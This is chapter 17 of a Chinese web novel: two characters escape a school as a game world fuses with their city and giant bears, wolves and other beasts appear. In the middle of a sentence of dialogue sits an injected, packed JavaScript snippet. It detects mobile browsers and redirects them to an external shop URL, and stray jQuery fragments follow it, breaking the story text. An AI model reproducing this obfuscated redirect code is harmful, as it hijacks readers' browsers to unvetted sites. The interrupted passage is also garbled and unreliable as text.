17
教学楼斑驳的玻璃窗映出两人狂奔的倒影,李知领着陈序一口气跑上了三楼才停下。
她试着推了推教室门,推不开,也不强求,背抵着冰凉的铁皮门喘息。
陈序体能比她好了不止一点,他没怎么喘,只是脸色不太好看。
李知一边平缓呼吸,边顺着他视线看出去。
地底完全塌陷,从校门口一直延伸到废弃的国旗台,塌陷的地方在月光下反着金属般光泽,仔细看,那光泽是冰面的反射。
冰层?李知惊疑不定的看着眼前的场景,脑子一团浆糊。
紧接着,一连串兴奋的咆哮声从冰层深处传出来,加深了未知的恐惧感。
她能感觉到自己后背浸了冷汗,全身止不住的发僵。
她下意识把目光投向陈序。
她大多时候情绪都是轻快而雀跃的,此刻却像被冻住的溪流,连睫毛都在微微颤动。
她完全没意识到自己拽了陈序一路,心里被巨大的恐慌包围。
陈序伸出手轻轻覆上她紧攥自己袖口的手背,轻拍了两下,“放松。”
李知听进去了,深吸一口气,重重点了点。
“......”她这副模样也不知道到底是放松还是没放松...
李知确实冷静下来了,虽然不明白到底发生了什么事,但她很清楚顾着害怕的话会死得更快,毕竟也不是第一次当灾民了。
她松开手,扒在走廊栏杆上往下望。
“走,再上一层,去对角那边,这里看不到情况。”
“好。”李知将尾巴掉下来的围巾重新裹紧,跟着陈序轻着脚步踏上楼梯。
走到四层拐角,操场的情况豁然入眼。下陷的雪地正在缓慢扩大,下面既不是雪,也不是被撬出来的泥,而是一个巨大的、泛着幽蓝冷光的冰晶隧道结构,嗷嗷的吼叫声正是从深处传出来的。
李知提议立马离开,但来不及了,伴随着清脆如同玻璃的碎裂声,十几头白熊从洞里钻了出来。
这些熊比成人还要庞大,肩高得有三米,皮毛泛着金属般的冷光。
它们似乎很兴奋,嗷嗷叫唤,四处乱走,还拿粗大的爪子胡乱刨动雪层。
似乎是为了烘托一下恐怖的氛围,老天爷一点没有眼色的开始打雷,雷声轰隆,闪电撕裂夜空,将拳头大小的冰雹一股脑地往下倾倒。
冰雹砸在熊背上,被反作用力弹开。它们完全没受伤,甚至还因为这些调皮的冰雹有些发痒,一屁股墩儿坐在雪地里,伸腿开始挠。
它们暂时没有探索建筑的意思,李知暂且放了一点点心。
这么大的冰雹雨,他们也暂时走不了,李知滑坐到地上,迟来地琢磨起这个事的始末。
她拽了拽陈序的裤脚,仰着脑袋,杏眼因为恐惧微微发润,“你知道怎么回事吗?”
陈序虚着眼,似乎在考虑能不能或者该不该讲。
他垂着睫毛挡住了黑色的瞳孔,唇微微抿着,显出几分严肃。
过了会儿,他似乎想好了,半蹲,视线和她平齐。
“地壳深处能量流近几年波动非常剧烈,目前我们的怀疑是有一个空间在和我们这个空间进行融合?”
“融合?”李知脑海里电光石火闪过很多画面,脱口而出,“《魔法大陆》?”
陈序可以不跟她解释,这是掌握信息一方的特权。
但他找李知作向导,早就想到了会多多少少泄露信息,只是没想到,情况比他想象得还糟糕,这已经不是泄露不泄露的问题了,两个世界的融合好像已经进行到不可逆转的一步。
现在藏着掖着的必要性并不大。
他在李知期待反驳的目光里,点了头,“是《魔法大陆》。”
李知深吸一口气,试图压住这种荒谬感,但是没压住,质问脱口而出,“这怎么可能?那是游戏。”
陈序还没说话,老天爷先不高兴这种质疑了,又劈了好几道惨白闪电。
有一道闪电不知道劈中什么,远远地,就能听到震耳欲聋的爆炸声。
陈序的手表响了,有人在找他。
对面先说话,陈序开口回复道:“嗯,不在酒店,出来了。”
过了会儿,他眉头拧了拧,眼里情绪变得尖锐严肃。
李知大概能猜到城里也应该出了事,她双手抱住膝盖,指尖无意识地扣着脚边的薄冰。
“打了救援在酒店待命,不要随意外出。...嗯,不用管我,我这边还算安全。”
陈序挂了通话,视线在虚空中微微顿了几秒后,重新落回李知脸上,“酒店附近出现了几只豹子,除了酒店,其它地方好像也有异兽从空间裂隙涌出来。”
“榕城能量波动异常的情况应该出现很久了,只是政府隐瞒没报,现在两个空间的能量平衡大概率是彻底打破了。”
幸好熊这种生物天性懒散,他们这里还算安全,但教学楼废弃太久,没有保暖衣物也没有食物,再安全,他们也必须想办法离开。
李知伸手指戳了戳陈序的手臂,见他看过来,低声道:“我们要是再这里待两三天,就算没被白熊吃,也会被饿死冷死,前面是不能走了,我们从后面翻铁网走吧。”
陈序大概这辈子没做过这么掉品味的事,一时间沉默了。
李知非常善解人意道:“后面保健室里有梯子,不会太狼狈的。”
陈序:“你来过?”
李知:“刚来这个城市的时候没住处,在这里打过两个月地铺。”可惜的是,走的时候她把衣服被子零食一股脑地带走了,哪里会想得到有今天。
陈序那架引起李知兴奋的飞行器被一只成年白熊当做了床垫在用,想要开飞行器走的成功可能性可能还不如李知说的方法。
他偏了下头指楼梯口,“走吧,你带路。”
“好。”李知走了两步,突然想到什么,站在矮一截的楼梯仰头望着他,“跑出去了是要带您去哪儿呢?市政府大楼吗?”
“政府大楼那儿有一群蝙蝠,弄得玻璃全碎了。”
“那...”李知把后面半截话吞回去,换了一个得体的笑容,“那你要不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628852|205892||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要先去我家避避?”
“多谢。”
搞清楚了要去哪儿,李知不再继续逗留,轻手轻脚的走到二层,猫着腰穿过连廊走到另外一栋教学楼。
这栋教学楼有前后两个出口,前面通学校大门和升旗台,后面通向塑胶椭圆跑道。
这个跑到并非完全露天的,有个高高的穹顶遮挡,兼顾了晴天雨天活动的需求。
塑胶跑道边缘很多地方都卷边了,露出底下灰黑色的沥青基底。
在跑道的另一侧,铁丝网上盖了厚厚一层雪,依稀还能看得到下面斑驳的锈迹。
李知熟练地推开保健室的门,将里面的梯子扛出来。
陈序从她手里接过,轻松一只手就拿好了,“放哪儿?”
李知觉得重,没跟他客气,抬手指了指靠单杠活动区的角落。
梯子放稳,陈序三步并作两步就翻了过去,一跃,轻松落地。
“......”李知发现她才是那个需要梯子的人,她小心翼翼踩着阶梯爬上去,双手扒住冰凉的铁网顶端,紧跟着翻过去。
她表演不出来陈序的身轻如燕,扒拉着网子慢慢下滑,积雪簌簌滑落,淋了她一身。
身后不远处传来低沉的咆哮声,李知扭头看了眼,白熊里竟然有勤快的异类闲逛到跑道来了。
李知不敢耽误,边跑边拍掉身上的雪。
陈序远远拍了张白熊的照片,跟上她。
现在是晚上十一点,按理来说城市应该陷入一片沉寂,但因为突如其来的灾难使得越靠近居住城区越是能听见恐慌的呼喊。
在明月小区门口,他们还遇见了两只正在撕咬人尸体的狼,它们吃得满嘴都是猩红的血沫,随着进食还愉快的甩了甩尾巴。
李知像是被施了定身术,半步都移动不了。
地上被吃得七零八落的尸体旁散落着鞋跟断掉的高跟鞋,鞋面还干干净净的,跟她死前凝固在脸上的惊恐形成鲜明对比。
两只狼也看见他们了,但很显然它们并不打算中断进食,只是用那双银瞳冷冷扫了他们一眼。
陈序抓住李知的手腕,将她拽向旁边的狭窄巷子。
明月小区这一片是老式居民楼,除了主干道勉强能容纳两架扫雪机器人通过外,其余楼与楼之间的距离窄得只容得下两个人侧身过。
李知不太喜欢来这种逼仄的地方,但是今天难得在这样密不透风的空间里感觉到了难得的安全感。
她走在陈序身后,也不管熟不熟了,死死拽住他羽绒服的一角,埋头跟着走。
两个人在巷子里走了大概十分钟,眼前豁然开朗,他们走到了另外一条主街上。
陈序找不到方向,走在前的人又从他变成了李知。
政府也并非毫无招架力,经过短暂的慌乱,应急广播响彻夜空,两人时不时能看见远程射击无人机掠过低空,往有异兽出没的区域冲过去。
除此外,还有乌压压的军人逆着恐慌人群向出事地点压过去。
枪声和异兽的怒吼声交织着,一时间分不清战局如何。